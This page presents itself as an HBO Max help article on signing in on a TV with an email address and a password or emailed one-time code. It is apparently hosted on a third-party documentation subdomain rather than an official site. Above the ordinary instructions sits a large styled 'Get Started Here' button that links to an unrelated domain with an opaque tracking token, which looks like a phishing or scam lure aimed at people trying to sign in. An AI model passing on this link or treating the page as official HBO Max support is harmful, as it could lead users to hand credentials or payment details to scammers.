> ## Documentation Index
> Fetch the complete documentation index at: https://hbomax-helpcenter.mintlify.site/llms.txt
> Use this file to discover all available pages before exploring further.

# Sign In to HBO Max on TV With Your Email or One-Time Code

> Sign in to HBO Max on your TV using your remote and account email, then enter your password or the 6-digit one-time code HBO Max sends to your inbox.

<div style="text-align:center; margin:30px 0;">
  <a
    href="https://flosyr.com/?27qX8fFg3NxUVVs1RNqsc6WbIikbYcPFepW1jCEl4WkJn3xgiDA7p "
    style="
display:inline-flex;
align-items:center;
justify-content:center;
gap:10px;
padding:14px 28px;
background:linear-gradient(135deg,#007bff,#0056d6);
color:#ffffff;
text-decoration:none;
font-family:Arial,sans-serif;
font-size:17px;
font-weight:700;
border-radius:50px;
box-shadow:0 5px 15px rgba(0,123,255,0.35);
transition:all 0.3s ease;
"
  >
    <span>Get Started Here</span>
    <span style="font-size:22px; line-height:1;">→</span>
  </a>
</div>

If you can't use the TV code, you can sign in to HBO Max directly on your TV with your account email. After entering your email, use your password or a 6-digit one-time code that HBO Max emails you.

## Sign in with your email

<Steps>
  <Step title="Choose Use Email Address">
    On the TV sign-in screen, choose **Use Email Address** (on the left).
  </Step>

  <Step title="Enter your account email">
    Move the selection to **Email Address**, press the select or OK button on your remote to open the keyboard, type your HBO Max account email, and choose **Continue**.
  </Step>

  <Step title="Enter your password or one-time code">
    Depending on your device, either enter your password and choose **Sign In**, or check your email for a one-time code. Choose **Use Password Instead** or **Get One-Time Code** to switch.
  </Step>

  <Step title="Choose who's watching">
    Pick a profile and start streaming.
  </Step>
</Steps>

## Find the one-time code email

HBO Max sends the code from an email with the subject **Time Sensitive: Your One-Time HBO Max Code**. It should arrive within a few minutes.

<Tip>
  Don't see it? Search every inbox folder, including **Promotions**, **Junk**, and **Spam**.
</Tip>

<Note>
  The one-time code in your email is different from the 6-digit code on your TV screen. The TV code goes on the website; the email code goes on your TV.
</Note>

## 'That doesn't look right' message

HBO Max couldn't find an account with that email. Choose **Edit Email Address** to try another email, or if you get HBO Max through a provider, choose **Connect Your Provider** and follow [Connect your provider](/sign-in/connect-provider).

## Related articles

* [Sign in with your mobile number](/sign-in/mobile-number)
* [Can't sign in to HBO Max on your TV](/troubleshooting/cant-sign-in)
* [Sign in with a 6-digit code](/getting-started/sign-in-with-code)


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.